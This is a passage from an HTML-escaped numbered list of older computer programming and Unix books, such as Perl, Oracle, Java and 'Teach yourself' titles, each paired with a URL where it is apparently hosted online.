/&gt;&lt;br /&gt;146&lt;br /&gt;Oracle PL/SQL language pocket reference&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;147&lt;br /&gt;Oracle PL/SQL programming guide to Oracle 8 features&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;148&lt;br /&gt;Oracle PL/SQL programming, 2nd.ed.&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;149&lt;br /&gt;Oracle unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;150&lt;br /&gt;Oracle unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;151&lt;br /&gt;Oracle web applications PL/SQL developer's introduction&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;152&lt;br /&gt;Patterns of enterprise application architecture/Fowler, Martin&lt;br /&gt;http://www.awprofessional.com/catalog/product.asp?product_id={574D77DF-6ED2-BC5-A6A8-02E59CA7482D}&lt;br /&gt;&lt;br /&gt;153&lt;br /&gt;PC week : the intranet advantage&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;154&lt;br /&gt;Perl 5 by example&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;155&lt;br /&gt;Perl 5 quick reference&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;156&lt;br /&gt;Perl 5 unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;157&lt;br /&gt;Perl 5.0 CGI web pages&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;158&lt;br /&gt;Perl cookbook&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;159&lt;br /&gt;Perl for system administration&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;160&lt;br /&gt;Perl in a nutshell&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;161&lt;br /&gt;Perl quick reference&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;162&lt;br /&gt;Peter norton's complete guide to windows NT 4 workstations&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;163&lt;br /&gt;Presenting activex&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;164&lt;br /&gt;Presenting activex&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;165&lt;br /&gt;Presenting javabeans&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;166&lt;br /&gt;Presenting javabeans&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;167&lt;br /&gt;Programming perl&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;168&lt;br /&gt;Programming perl, 3rd.ed.&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;169&lt;br /&gt;Programming the Perl DBI&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;170&lt;br /&gt;Red hat linux unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;171&lt;br /&gt;Running a perfect intranet&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;172&lt;br /&gt;Running Linux, 3rd.ed.&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;173&lt;br /&gt;Sams teach yourself java 1.1 in 24 hours/&lt;br /&gt;http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Java_1.1_Programming_in_24_Hours&lt;br /&gt;&lt;br /&gt;174&lt;br /&gt;Sams Teach yourself java in 21 days/Lemay, Laura&lt;br /&gt;http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Java_in_21_Days/&lt;br /&gt;&lt;br /&gt;175&lt;br /&gt;Sams teach yourself linux in 24 hours/Ball, Bill&lt;br /&gt;http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Linux_in_24%20Hours/&lt;br /&gt;&lt;br /&gt;176&lt;br /&gt;Sams teach yourself shell programming in 24 hours&lt;br /&gt;http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Shell_Programming_in_24_Hours/&lt;br /&gt;&lt;br /&gt;177&lt;br /&gt;Sams teach yourself TCP/IP in 14 days&lt;br /&gt;http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_TCP-IP_in_14_Days(SE)/&lt;br /&gt;&lt;br /&gt;178&lt;br /&gt;Sed and awk&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;179&lt;br /&gt;Sendmail&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;180&lt;br /&gt;Sendmail desktop reference&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;181&lt;br /&gt;Slackware linux unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;182&lt;br /&gt;Special edition using java, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;183&lt;br /&gt;Special edition using _javascript&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;184&lt;br /&gt;Special edition using _javascript&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;185&lt;br /&gt;Special edition using _Jscript&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;186&lt;br /&gt;Special edition using lotus notes and domino 4.5&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;187&lt;br /&gt;Special edition using Microsoft SQL server 6.5, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;188&lt;br /&gt;Special edition using Microsoft visual Interdev&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;189&lt;br /&gt;Special edition using perl 5 for web programming&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;190&lt;br /&gt;Special edition using perl for web programming&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;191&lt;br /&gt;Special edition using Visual Basic 4&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;192&lt;br /&gt;TCP/IP&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;193&lt;br /&gt;Teach yourself activex programming in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;194&lt;br /&gt;Teach yourself C++ in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;195&lt;br /&gt;Teach yourself C++ in 21 days&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;196&lt;br /&gt;Teach yourself CGI programming with Perl 5 in a week&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;197&lt;br /&gt;Teach yourself database programming with VB5 in 21 days, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;198&lt;br /&gt;Teach yourself database programming with visual basic 5 in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;199&lt;br /&gt;Teach yourself HTML 3.2 in 24 hours&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;200&lt;br /&gt;Teach yourself HTML 3.2 in 24 hours&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;201&lt;br /&gt;Teach yourself internet game programming with java in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;202&lt;br /&gt;Teach yourself java 1.1 programming in 24 hours&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;203&lt;br /&gt;Teach yourself jave in café in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.tm&lt;br /&gt;&lt;br /&gt;204&lt;br /&gt;Teach yourself Microsoft visual Interdev in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;205&lt;br /&gt;Teach yourself Microsoft visual Interdev in 21 days&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;206&lt;br /&gt;Teach yourself oracle 8 in 21 days&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;207&lt;br /&gt;Teach yourself perl 5 in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;208&lt;br /&gt;Teach yourself perl 5 in 21 days, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;209&lt;br /&gt;Teach yourself SQL in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;210&lt;br /&gt;Teach yourself SQL in 21 days, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;211&lt;br /&gt;Teach yourself TCP/IP in 14 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;212&lt;br /&gt;Teach yourself TCP/IP in 14 days, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;213&lt;br /&gt;Teach yourself the Internet in 24 hours&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;214&lt;br /&gt;Teach yourself the internet in 24 hours&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;215&lt;br /&gt;Teach yourself _VBScript in 21 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;216&lt;br /&gt;Teach yourself _VBScript in 21 days&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;217&lt;br /&gt;Teach yourself visual basic 5 in 24 hours&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;218&lt;br /&gt;Teach yourself Visual Basic 5 in 24 hours&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;219&lt;br /&gt;Teach yourself Visual J++ in 21 days&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;220&lt;br /&gt;Teach yourself web publishing with HTML 3.2 in 14 days&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;221&lt;br /&gt;Teach yourself web publishing with HTML in 14 days&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;222&lt;br /&gt;Thinking in C++&lt;br /&gt;http://www.mindview.net/Books&lt;br /&gt;&lt;br /&gt;223&lt;br /&gt;Thinking in C++/Eckel, Bruce - Vol.I, 2nd.ed.&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;224&lt;br /&gt;Thinking in C++/Eckel, Bruce - Vol.II, 2nd.ed.&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;225&lt;br /&gt;Thinking in Enterprise Java&lt;br /&gt;http://www.mindview.net/Books&lt;br /&gt;&lt;br /&gt;226&lt;br /&gt;Thinking in Java, 2nd.ed.&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;227&lt;br /&gt;Thinking in Java, 3rd.ed. (pdf)&lt;br /&gt;http://www.mindview.net/Books&lt;br /&gt;&lt;br /&gt;228&lt;br /&gt;Tricks of the internet gurus&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;229&lt;br /&gt;Tricks of the java programming gurus&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;230&lt;br /&gt;Unix and internet security&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;231&lt;br /&gt;Unix hints and hacks/Waingrow, Kirk&lt;br /&gt;http://book.onairweb.net/computer/os/unix/Administration/UNIX_Hints_&amp;_Hacks/19270001..htm&lt;br /&gt;&lt;br /&gt;232&lt;br /&gt;Unix in a nutshell&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;233&lt;br /&gt;Unix kornshell quick reference&lt;br /&gt;http://book.onairweb.net/computer/os/shell/Unix_KornShell_Quick_Reference/kornShell.html&lt;br /&gt;&lt;br /&gt;234&lt;br /&gt;Unix power tools&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;235&lt;br /&gt;Unix shell guide&lt;br /&gt;http://book.onairweb.net/computer/os/shell/The_UNIX_Shell_Guide/&lt;br /&gt;&lt;br /&gt;236&lt;br /&gt;Unix unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;237&lt;br /&gt;Unix unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;238&lt;br /&gt;Unix unleashed Internet Ed./Burk, Robin&lt;br /&gt;http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed(Internet_Edition)/fm.htm&lt;br /&gt;&lt;br /&gt;239&lt;br /&gt;Unix unleashed, System administrator's Edition&lt;br /&gt;http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed_System_Administrator's_Edition/toc.htm&lt;br /&gt;&lt;br /&gt;240&lt;br /&gt;Unix Unleashed/Sams Publication&lt;br /&gt;http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed/&lt;br /&gt;&lt;br /&gt;241&lt;br /&gt;Upgrading PCs illustrat
